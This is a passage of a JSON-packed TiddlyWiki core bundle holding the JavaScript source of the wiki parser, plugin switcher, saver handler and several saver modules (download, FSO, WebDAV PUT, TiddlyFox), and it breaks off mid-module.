{\n\t\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,inlineRuleMatch.matchIndex));\n\t\t\t\tthis.pos = inlineRuleMatch.matchIndex;\n\t\t\t}\n\t\t\t// Process the inline rule\n\t\t\ttree.push.apply(tree,inlineRuleMatch.rule.parse());\n\t\t\t// Look for the next inline rule\n\t\t\tinlineRuleMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t\t\t// Look for the next terminator match\n\t\t\tterminatorRegExp.lastIndex = this.pos;\n\t\t\tterminatorMatch = terminatorRegExp.exec(this.source);\n\t\t}\n\t}\n\t// Process the remaining text\n\tif(this.pos < this.sourceLength) {\n\t\tthis.pushTextWidget(tree,this.source.substr(this.pos));\n\t}\n\tthis.pos = this.sourceLength;\n\treturn tree;\n};\n\n/*\nPush a text widget onto an array, respecting the configTrimWhiteSpace setting\n*/\nWikiParser.prototype.pushTextWidget = function(array,text) {\n\tif(this.configTrimWhiteSpace) {\n\t\ttext = $tw.utils.trim(text);\n\t}\n\tif(text) {\n\t\tarray.push({type: \"text\", text: text});\t\t\n\t}\n};\n\n/*\nParse zero or more class specifiers `.classname`\n*/\nWikiParser.prototype.parseClasses = function() {\n\tvar classRegExp = /\\.([^\\s\\.]+)/mg,\n\t\tclassNames = [];\n\tclassRegExp.lastIndex = this.pos;\n\tvar match = classRegExp.exec(this.source);\n\twhile(match && match.index === this.pos) {\n\t\tthis.pos = match.index + match[0].length;\n\t\tclassNames.push(match[1]);\n\t\tmatch = classRegExp.exec(this.source);\n\t}\n\treturn classNames;\n};\n\n/*\nAmend the rules used by this instance of the parser\n\ttype: `only` keeps just the named rules, `except` keeps all but the named rules\n\tnames: array of rule names\n*/\nWikiParser.prototype.amendRules = function(type,names) {\n\tnames = names || [];\n\t// Define the filter function\n\tvar keepFilter;\n\tif(type === \"only\") {\n\t\tkeepFilter = function(name) {\n\t\t\treturn names.indexOf(name) !== -1;\n\t\t};\n\t} else if(type === \"except\") {\n\t\tkeepFilter = function(name) {\n\t\t\treturn names.indexOf(name) === -1;\n\t\t};\n\t} else {\n\t\treturn;\n\t}\n\t// Define a function to process each of our rule arrays\n\tvar processRuleArray = function(ruleArray) {\n\t\tfor(var t=ruleArray.length-1; t>=0; t--) {\n\t\t\tif(!keepFilter(ruleArray[t].rule.name)) {\n\t\t\t\truleArray.splice(t,1);\n\t\t\t}\n\t\t}\n\t};\n\t// Process each rule array\n\tprocessRuleArray(this.pragmaRules);\n\tprocessRuleArray(this.blockRules);\n\tprocessRuleArray(this.inlineRules);\n};\n\nexports[\"text/vnd.tiddlywiki\"] = WikiParser;\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "parser"
        },
        "$:/core/modules/parsers/wikiparser/rules/wikirulebase.js": {
            "title": "$:/core/modules/parsers/wikiparser/rules/wikirulebase.js",
            "text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/wikirulebase.js\ntype: application/javascript\nmodule-type: global\n\nBase class for wiki parser rules\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nThis constructor is always overridden with a blank constructor, and so shouldn't be used\n*/\nvar WikiRuleBase = function() {\n};\n\n/*\nTo be overridden by individual rules\n*/\nWikiRuleBase.prototype.init = function(parser) {\n\tthis.parser = parser;\n};\n\n/*\nDefault implementation of findNextMatch uses RegExp matching\n*/\nWikiRuleBase.prototype.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\treturn this.match ? this.match.index : undefined;\n};\n\nexports.WikiRuleBase = WikiRuleBase;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/pluginswitcher.js": {
            "title": "$:/core/modules/pluginswitcher.js",
            "text": "/*\\\ntitle: $:/core/modules/pluginswitcher.js\ntype: application/javascript\nmodule-type: global\n\nManages switching plugins for themes and languages.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\noptions:\nwiki: wiki store to be used\npluginType: type of plugin to be switched\ncontrollerTitle: title of tiddler used to control switching of this resource\ndefaultPlugins: array of default plugins to be used if nominated plugin isn't found\nonSwitch: callback when plugin is switched (single parameter is array of plugin titles)\n*/\nfunction PluginSwitcher(options) {\n\tthis.wiki = options.wiki;\n\tthis.pluginType = options.pluginType;\n\tthis.controllerTitle = options.controllerTitle;\n\tthis.defaultPlugins = options.defaultPlugins || [];\n\tthis.onSwitch = options.onSwitch;\n\t// Switch to the current plugin\n\tthis.switchPlugins();\n\t// Listen for changes to the selected plugin\n\tvar self = this;\n\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\tif($tw.utils.hop(changes,self.controllerTitle)) {\n\t\t\tself.switchPlugins();\n\t\t}\n\t});\n}\n\nPluginSwitcher.prototype.switchPlugins = function() {\n\t// Get the name of the current theme\n\tvar selectedPluginTitle = this.wiki.getTiddlerText(this.controllerTitle);\n\t// If it doesn't exist, then fallback to one of the default themes\n\tvar index = 0;\n\twhile(!this.wiki.getTiddler(selectedPluginTitle) && index < this.defaultPlugins.length) {\n\t\tselectedPluginTitle = this.defaultPlugins[index++];\n\t}\n\t// Accumulate the titles of the plugins that we need to load\n\tvar plugins = [],\n\t\tself = this,\n\t\taccumulatePlugin = function(title) {\n\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\tif(tiddler && tiddler.isPlugin() && plugins.indexOf(title) === -1) {\n\t\t\t\tplugins.push(title);\n\t\t\t\tvar pluginInfo = JSON.parse(self.wiki.getTiddlerText(title)),\n\t\t\t\t\tdependents = $tw.utils.parseStringArray(tiddler.fields.dependents || \"\");\n\t\t\t\t$tw.utils.each(dependents,function(title) {\n\t\t\t\t\taccumulatePlugin(title);\n\t\t\t\t});\n\t\t\t}\n\t\t};\n\taccumulatePlugin(selectedPluginTitle);\n\t// Unregister any existing theme tiddlers\n\tvar unregisteredTiddlers = $tw.wiki.unregisterPluginTiddlers(this.pluginType);\n\t// Register any new theme tiddlers\n\tvar registeredTiddlers = $tw.wiki.registerPluginTiddlers(this.pluginType,plugins);\n\t// Unpack the current theme tiddlers\n\t$tw.wiki.unpackPluginTiddlers();\n\t// Call the switch handler\n\tif(this.onSwitch) {\n\t\tthis.onSwitch(plugins);\n\t}\n};\n\nexports.PluginSwitcher = PluginSwitcher;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/saver-handler.js": {
            "title": "$:/core/modules/saver-handler.js",
            "text": "/*\\\ntitle: $:/core/modules/saver-handler.js\ntype: application/javascript\nmodule-type: global\n\nThe saver handler tracks changes to the store and handles saving the entire wiki via saver modules.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInstantiate the saver handler with the following options:\nwiki: wiki to be synced\ndirtyTracking: true if dirty tracking should be performed\n*/\nfunction SaverHandler(options) {\n\tvar self = this;\n\tthis.wiki = options.wiki;\n\tthis.dirtyTracking = options.dirtyTracking;\n\tthis.pendingAutoSave = false;\n\t// Make a logger\n\tthis.logger = new $tw.utils.Logger(\"saver-handler\");\n\t// Initialise our savers\n\tif($tw.browser) {\n\t\tthis.initSavers();\n\t}\n\t// Only do dirty tracking if required\n\tif($tw.browser && this.dirtyTracking) {\n\t\t// Compile the dirty tiddler filter\n\t\tthis.filterFn = this.wiki.compileFilter(this.wiki.getTiddlerText(this.titleSyncFilter));\n\t\t// Count of changes that have not yet been saved\n\t\tthis.numChanges = 0;\n\t\t// Listen out for changes to tiddlers\n\t\tthis.wiki.addEventListener(\"change\",function(changes) {\n\t\t\t// Filter the changes so that we only count changes to tiddlers that we care about\n\t\t\tvar filteredChanges = self.filterFn.call(self.wiki,function(iterator) {\n\t\t\t\t$tw.utils.each(changes,function(change,title) {\n\t\t\t\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\t\t\t\titerator(tiddler,title);\n\t\t\t\t});\n\t\t\t});\n\t\t\t// Adjust the number of changes\n\t\t\tself.numChanges += filteredChanges.length;\n\t\t\tself.updateDirtyStatus();\n\t\t\t// Do any autosave if one is pending and there's no more change events\n\t\t\tif(self.pendingAutoSave && self.wiki.getSizeOfTiddlerEventQueue() === 0) {\n\t\t\t\t// Check if we're dirty\n\t\t\t\tif(self.numChanges > 0) {\n\t\t\t\t\tself.saveWiki({\n\t\t\t\t\t\tmethod: \"autosave\",\n\t\t\t\t\t\tdownloadType: \"text/plain\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\tself.pendingAutoSave = false;\n\t\t\t}\n\t\t});\n\t\t// Listen for the autosave event\n\t\t$tw.rootWidget.addEventListener(\"tm-auto-save-wiki\",function(event) {\n\t\t\t// Do the autosave unless there are outstanding tiddler change events\n\t\t\tif(self.wiki.getSizeOfTiddlerEventQueue() === 0) {\n\t\t\t\t// Check if we're dirty\n\t\t\t\tif(self.numChanges > 0) {\n\t\t\t\t\tself.saveWiki({\n\t\t\t\t\t\tmethod: \"autosave\",\n\t\t\t\t\t\tdownloadType: \"text/plain\"\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Otherwise put ourselves in the \"pending autosave\" state and wait for the change event before we do the autosave\n\t\t\t\tself.pendingAutoSave = true;\n\t\t\t}\n\t\t});\n\t\t// Set up our beforeunload handler\n\t\t$tw.addUnloadTask(function(event) {\n\t\t\tvar confirmationMessage;\n\t\t\tif(self.isDirty()) {\n\t\t\t\tconfirmationMessage = $tw.language.getString(\"UnsavedChangesWarning\");\n\t\t\t\tevent.returnValue = confirmationMessage; // Gecko\n\t\t\t}\n\t\t\treturn confirmationMessage;\n\t\t});\n\t}\n\t// Install the save action handlers\n\tif($tw.browser) {\n\t\t$tw.rootWidget.addEventListener(\"tm-save-wiki\",function(event) {\n\t\t\tself.saveWiki({\n\t\t\t\ttemplate: event.param,\n\t\t\t\tdownloadType: \"text/plain\",\n\t\t\t\tvariables: event.paramObject\n\t\t\t});\n\t\t});\n\t\t$tw.rootWidget.addEventListener(\"tm-download-file\",function(event) {\n\t\t\tself.saveWiki({\n\t\t\t\tmethod: \"download\",\n\t\t\t\ttemplate: event.param,\n\t\t\t\tdownloadType: \"text/plain\",\n\t\t\t\tvariables: event.paramObject\n\t\t\t});\n\t\t});\n\t}\n}\n\nSaverHandler.prototype.titleSyncFilter = \"$:/config/SaverFilter\";\nSaverHandler.prototype.titleAutoSave = \"$:/config/AutoSave\";\nSaverHandler.prototype.titleSavedNotification = \"$:/language/Notifications/Save/Done\";\n\n/*\nSelect the appropriate saver modules and set them up\n*/\nSaverHandler.prototype.initSavers = function(moduleType) {\n\tmoduleType = moduleType || \"saver\";\n\t// Instantiate the available savers\n\tthis.savers = [];\n\tvar self = this;\n\t$tw.modules.forEachModuleOfType(moduleType,function(title,module) {\n\t\tif(module.canSave(self)) {\n\t\t\tself.savers.push(module.create(self.wiki));\n\t\t}\n\t});\n\t// Sort the savers into priority order\n\tthis.savers.sort(function(a,b) {\n\t\tif(a.info.priority < b.info.priority) {\n\t\t\treturn -1;\n\t\t} else {\n\t\t\tif(a.info.priority > b.info.priority) {\n\t\t\t\treturn +1;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\nSave the wiki contents. Options are:\n\tmethod: \"save\", \"autosave\" or \"download\"\n\ttemplate: the tiddler containing the template to save\n\tdownloadType: the content type for the saved file\n*/\nSaverHandler.prototype.saveWiki = function(options) {\n\toptions = options || {};\n\tvar self = this,\n\t\tmethod = options.method || \"save\",\n\t\tvariables = options.variables || {},\n\t\ttemplate = options.template || \"$:/core/save/all\",\n\t\tdownloadType = options.downloadType || \"text/plain\",\n\t\ttext = this.wiki.renderTiddler(downloadType,template,options),\n\t\tcallback = function(err) {\n\t\t\tif(err) {\n\t\t\t\talert($tw.language.getString(\"Error/WhileSaving\") + \":\\n\\n\" + err);\n\t\t\t} else {\n\t\t\t\t// Clear the task queue if we're saving (rather than downloading)\n\t\t\t\tif(method !== \"download\") {\n\t\t\t\t\tself.numChanges = 0;\n\t\t\t\t\tself.updateDirtyStatus();\n\t\t\t\t}\n\t\t\t\t$tw.notifier.display(self.titleSavedNotification);\n\t\t\t\tif(options.callback) {\n\t\t\t\t\toptions.callback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t// Ignore autosave if disabled\n\tif(method === \"autosave\" && this.wiki.getTiddlerText(this.titleAutoSave,\"yes\") !== \"yes\") {\n\t\treturn false;\n\t}\n\t// Call the highest priority saver that supports this method\n\tfor(var t=this.savers.length-1; t>=0; t--) {\n\t\tvar saver = this.savers[t];\n\t\tif(saver.info.capabilities.indexOf(method) !== -1 && saver.save(text,method,callback,{variables: {filename: variables.filename}})) {\n\t\t\tthis.logger.log(\"Saving wiki with method\",method,\"through saver\",saver.info.name);\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n};\n\n/*\nChecks whether the wiki is dirty (ie the window shouldn't be closed)\n*/\nSaverHandler.prototype.isDirty = function() {\n\treturn this.numChanges > 0;\n};\n\n/*\nUpdate the document body with the class \"tc-dirty\" if the wiki has unsaved/unsynced changes\n*/\nSaverHandler.prototype.updateDirtyStatus = function() {\n\tif($tw.browser) {\n\t\t$tw.utils.toggleClass(document.body,\"tc-dirty\",this.isDirty());\n\t}\n};\n\nexports.SaverHandler = SaverHandler;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "global"
        },
        "$:/core/modules/savers/andtidwiki.js": {
            "title": "$:/core/modules/savers/andtidwiki.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/andtidwiki.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the AndTidWiki Android app\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar AndTidWiki = function(wiki) {\n};\n\nAndTidWiki.prototype.save = function(text,method,callback) {\n\t// Get the pathname of this document\n\tvar pathname = decodeURIComponent(document.location.toString().split(\"#\")[0]);\n\t// Strip the file://\n\tif(pathname.indexOf(\"file://\") === 0) {\n\t\tpathname = pathname.substr(7);\n\t}\n\t// Strip any query or location part\n\tvar p = pathname.indexOf(\"?\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\tp = pathname.indexOf(\"#\");\n\tif(p !== -1) {\n\t\tpathname = pathname.substr(0,p);\n\t}\n\t// Save the file\n\twindow.twi.saveFile(pathname,text);\n\t// Call the callback\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nAndTidWiki.prototype.info = {\n\tname: \"andtidwiki\",\n\tpriority: 1600,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.twi && !!window.twi.saveFile;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new AndTidWiki(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/beaker.js": {
            "title": "$:/core/modules/savers/beaker.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/beaker.js\ntype: application/javascript\nmodule-type: saver\n\nSaves files using the Beaker browser's (https://beakerbrowser.com) Dat protocol (https://datproject.org/)\nCompatible with beaker >= V0.7.2\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSet up the saver\n*/\nvar BeakerSaver = function(wiki) {\n\tthis.wiki = wiki;\n};\n\nBeakerSaver.prototype.save = function(text,method,callback) {\n\tvar dat = new DatArchive(\"\" + window.location),\n\t\tpathname = (\"\" + window.location.pathname).split(\"#\")[0];\n\tdat.stat(pathname).then(function(value) {\n\t\tif(value.isDirectory()) {\n\t\t\tpathname = pathname + \"/index.html\";\n\t\t}\n\t\tdat.writeFile(pathname,text,\"utf8\").then(function(value) {\n\t\t\tcallback(null);\n\t\t},function(reason) {\n\t\t\tcallback(\"Beaker Saver Write Error: \" + reason);\n\t\t});\n\t},function(reason) {\n\t\tcallback(\"Beaker Saver Stat Error: \" + reason);\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nBeakerSaver.prototype.info = {\n\tname: \"beaker\",\n\tpriority: 3000,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.DatArchive && location.protocol===\"dat:\";\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new BeakerSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/download.js": {
            "title": "$:/core/modules/savers/download.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/download.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via HTML5's download APIs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar DownloadSaver = function(wiki) {\n};\n\nDownloadSaver.prototype.save = function(text,method,callback,options) {\n\toptions = options || {};\n\t// Get the current filename\n\tvar filename = options.variables.filename;\n\tif(!filename) {\n\t\tvar p = document.location.pathname.lastIndexOf(\"/\");\n\t\tif(p !== -1) {\n\t\t\t// We decode the pathname because document.location is URL encoded by the browser\n\t\t\tfilename = decodeURIComponent(document.location.pathname.substr(p+1));\n\t\t}\n\t}\n\tif(!filename) {\n\t\tfilename = \"tiddlywiki.html\";\n\t}\n\t// Set up the link\n\tvar link = document.createElement(\"a\");\n\tif(Blob !== undefined) {\n\t\tvar blob = new Blob([text], {type: \"text/html\"});\n\t\tlink.setAttribute(\"href\", URL.createObjectURL(blob));\n\t} else {\n\t\tlink.setAttribute(\"href\",\"data:text/html,\" + encodeURIComponent(text));\n\t}\n\tlink.setAttribute(\"download\",filename);\n\tdocument.body.appendChild(link);\n\tlink.click();\n\tdocument.body.removeChild(link);\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nDownloadSaver.prototype.info = {\n\tname: \"download\",\n\tpriority: 100\n};\n\nObject.defineProperty(DownloadSaver.prototype.info, \"capabilities\", {\n\tget: function() {\n\t\tvar capabilities = [\"save\", \"download\"];\n\t\tif(($tw.wiki.getTextReference(\"$:/config/DownloadSaver/AutoSave\") || \"\").toLowerCase() === \"yes\") {\n\t\t\tcapabilities.push(\"autosave\");\n\t\t}\n\t\treturn capabilities;\n\t}\n});\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn document.createElement(\"a\").download !== undefined;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new DownloadSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/fsosaver.js": {
            "title": "$:/core/modules/savers/fsosaver.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/fsosaver.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via MS FileSystemObject ActiveXObject\n\nNote: Since TiddlyWiki's markup contains the MOTW, the FileSystemObject normally won't be available. \nHowever, if the wiki is loaded as an .HTA file (Windows HTML Applications) then the FSO can be used.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar FSOSaver = function(wiki) {\n};\n\nFSOSaver.prototype.save = function(text,method,callback) {\n\t// Get the pathname of this document\n\tvar pathname = unescape(document.location.pathname);\n\t// Test for a Windows path of the form /x:\\blah...\n\tif(/^\\/[A-Z]\\:\\\\[^\\\\]+/i.test(pathname)) {\t// ie: ^/[a-z]:/[^/]+\n\t\t// Remove the leading slash\n\t\tpathname = pathname.substr(1);\n\t} else if(document.location.hostname !== \"\" && /^\\/\\\\[^\\\\]+\\\\[^\\\\]+/i.test(pathname)) {\t// test for \\\\server\\share\\blah... - ^/[^/]+/[^/]+\n\t\t// Remove the leading slash\n\t\tpathname = pathname.substr(1);\n\t\t// reconstruct UNC path\n\t\tpathname = \"\\\\\\\\\" + document.location.hostname + pathname;\n\t} else {\n\t\treturn false;\n\t}\n\t// Save the file (as UTF-16)\n\tvar fso = new ActiveXObject(\"Scripting.FileSystemObject\");\n\tvar file = fso.OpenTextFile(pathname,2,-1,-1);\n\tfile.Write(text);\n\tfile.Close();\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nFSOSaver.prototype.info = {\n\tname: \"FSOSaver\",\n\tpriority: 120,\n\tcapabilities: [\"save\", \"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\ttry {\n\t\treturn (window.location.protocol === \"file:\") && !!(new ActiveXObject(\"Scripting.FileSystemObject\"));\n\t} catch(e) { return false; }\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new FSOSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/manualdownload.js": {
            "title": "$:/core/modules/savers/manualdownload.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/manualdownload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via HTML5's download APIs\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n// Title of the tiddler containing the download message\nvar downloadInstructionsTitle = \"$:/language/Modals/Download\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar ManualDownloadSaver = function(wiki) {\n};\n\nManualDownloadSaver.prototype.save = function(text,method,callback) {\n\t$tw.modal.display(downloadInstructionsTitle,{\n\t\tdownloadLink: \"data:text/html,\" + encodeURIComponent(text)\n\t});\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nManualDownloadSaver.prototype.info = {\n\tname: \"manualdownload\",\n\tpriority: 0,\n\tcapabilities: [\"save\", \"download\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn true;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new ManualDownloadSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/msdownload.js": {
            "title": "$:/core/modules/savers/msdownload.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/msdownload.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via window.navigator.msSaveBlob()\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar MsDownloadSaver = function(wiki) {\n};\n\nMsDownloadSaver.prototype.save = function(text,method,callback) {\n\t// Get the current filename\n\tvar filename = \"tiddlywiki.html\",\n\t\tp = document.location.pathname.lastIndexOf(\"/\");\n\tif(p !== -1) {\n\t\tfilename = document.location.pathname.substr(p+1);\n\t}\n\t// Set up the link\n\tvar blob = new Blob([text], {type: \"text/html\"});\n\twindow.navigator.msSaveBlob(blob,filename);\n\t// Callback that we succeeded\n\tcallback(null);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nMsDownloadSaver.prototype.info = {\n\tname: \"msdownload\",\n\tpriority: 110,\n\tcapabilities: [\"save\", \"download\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn !!window.navigator.msSaveBlob;\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new MsDownloadSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/put.js": {
            "title": "$:/core/modules/savers/put.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/put.js\ntype: application/javascript\nmodule-type: saver\n\nSaves wiki by performing a PUT request to the server\n\nWorks with any server which accepts a PUT request\nto the current URL, such as a WebDAV server.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRetrieve ETag if available\n*/\nvar retrieveETag = function(self) {\n\tvar headers = {\n\t\tAccept: \"*/*;charset=UTF-8\"\n\t};\n\t$tw.utils.httpRequest({\n\t\turl: self.uri(),\n\t\ttype: \"HEAD\",\n\t\theaders: headers,\n\t\tcallback: function(err,data,xhr) {\n\t\t\tif(err) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar etag = xhr.getResponseHeader(\"ETag\");\n\t\t\tif(!etag) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tself.etag = etag.replace(/^W\\//,\"\");\n\t\t}\n\t});\n};\n\n\n/*\nSelect the appropriate saver module and set it up\n*/\nvar PutSaver = function(wiki) {\n\tthis.wiki = wiki;\n\tvar self = this;\n\tvar uri = this.uri();\n\t// Async server probe. Until probe finishes, save will fail fast\n\t// See also https://github.com/Jermolene/TiddlyWiki5/issues/2276\n\t$tw.utils.httpRequest({\n\t\turl: uri,\n\t\ttype: \"OPTIONS\",\n\t\tcallback: function(err,data,xhr) {\n\t\t\t// Check DAV header http://www.webdav.org/specs/rfc2518.html#rfc.section.9.1\n\t\t\tif(!err) {\n\t\t\t\tself.serverAcceptsPuts = xhr.status === 200 && !!xhr.getResponseHeader(\"dav\");\n\t\t\t}\n\t\t}\n\t});\n\tretrieveETag(this);\n};\n\nPutSaver.prototype.uri = function() {\n\treturn document.location.toString().split(\"#\")[0];\n};\n\n// TODO: in case of edit conflict\n// Prompt: Do you want to save over this? Y/N\n// Merging would be ideal, and may be possible using future generic merge flow\nPutSaver.prototype.save = function(text,method,callback) {\n\tif(!this.serverAcceptsPuts) {\n\t\treturn false;\n\t}\n\tvar self = this;\n\tvar headers = {\n\t\t\"Content-Type\": \"text/html;charset=UTF-8\"\n\t};\n\tif(this.etag) {\n\t\theaders[\"If-Match\"] = this.etag;\n\t}\n\t$tw.utils.httpRequest({\n\t\turl: this.uri(),\n\t\ttype: \"PUT\",\n\t\theaders: headers,\n\t\tdata: text,\n\t\tcallback: function(err,data,xhr) {\n\t\t\tif(err) {\n\t\t\t\t// response is textual: \"XMLHttpRequest error code: 412\"\n\t\t\t\tvar status = Number(err.substring(err.indexOf(':') + 2, err.length))\n\t\t\t\tif(status === 412) { // edit conflict\n\t\t\t\t\tvar message = $tw.language.getString(\"Error/EditConflict\");\n\t\t\t\t\tcallback(message);\n\t\t\t\t} else {\n\t\t\t\t\tcallback(err); // fail\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tself.etag = xhr.getResponseHeader(\"ETag\");\n\t\t\t\tif(self.etag == null) {\n\t\t\t\t\tretrieveETag(self);\n\t\t\t\t}\n\t\t\t\tcallback(null); // success\n\t\t\t}\n\t\t}\n\t});\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nPutSaver.prototype.info = {\n\tname: \"put\",\n\tpriority: 2000,\n\tcapabilities: [\"save\",\"autosave\"]\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\treturn /^https?:/.test(location.protocol);\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new PutSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/core/modules/savers/tiddlyfox.js": {
            "title": "$:/core/modules/savers/tiddlyfox.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/tiddlyfox.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes via the TiddlyFox file extension\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar TiddlyFoxSaver = function(wiki) {\n};\n\nTiddlyFoxSaver.prototype.save = function(text,method,callback) {\n\tvar messageBox = document.getElementById(\"tiddlyfox-message-box\");\n\tif(messageBox) {\n\t\t// Get the pathname of this document\n\t\tvar pathname = document.location.toString().split(\"#\")[0];\n\t\t// Replace file://localhost/ with file:///\n\t\tif(pathname.indexOf(\"file://localhost/\") === 0) {\n\t\t\tpathname = \"file://\" + pathname.substr(16);\n\t\t}\n\t\t// Windows path file:///x:/blah/blah --> x:\\blah\\blah\n\t\tif(/^file\\:\\/\\/\\/[A-Z]\\:\\//i.test(pathname)) {\n\t\t\t// Remove the leading slash and convert slashes to backslashes\n\t\t\tpathname = pathname.substr(8).replace(/\\//g,\"\\\\\");\n\t\t// Firefox Windows network path file://///server/share/blah/blah --> //server/share/blah/blah\n\t\t} else if(pathname.indexOf(\"file://///\") === 0) {\n\t\t\tpathname = \"\\\\\\\\\" + unescape(pathname.substr(10)).replace(/\\//g,\"\\\\\");\n\t\t// Mac/Unix local path file:///path/path --> /path/path\n\t\t} else if(pathname.indexOf(\"file:///\") === 0) {\n\t\t\tpathname = unescape(pathname.substr(7));\n\t\t// Mac/Unix local path file:/path/path --> /path/path\n\t\t} else if(pathname.indexOf(\"file:/\") === 0) {\n\t\t\tpathname = unescape(pathname.substr(5));\n\t\t// Otherwise Windows networth path file://server/share/path/path --> \\\\server\\share\\path\\path\n\t\t} else {\n\t\t\tpathname = \"\\\\\\\\\" + unescape(pathname.substr(7)).replace(new RegExp(\"/\",\"g\"),\"\\\\\");\n\t\t}\n\t\t// Create the message element and put it in the message box\n\t\tvar message = 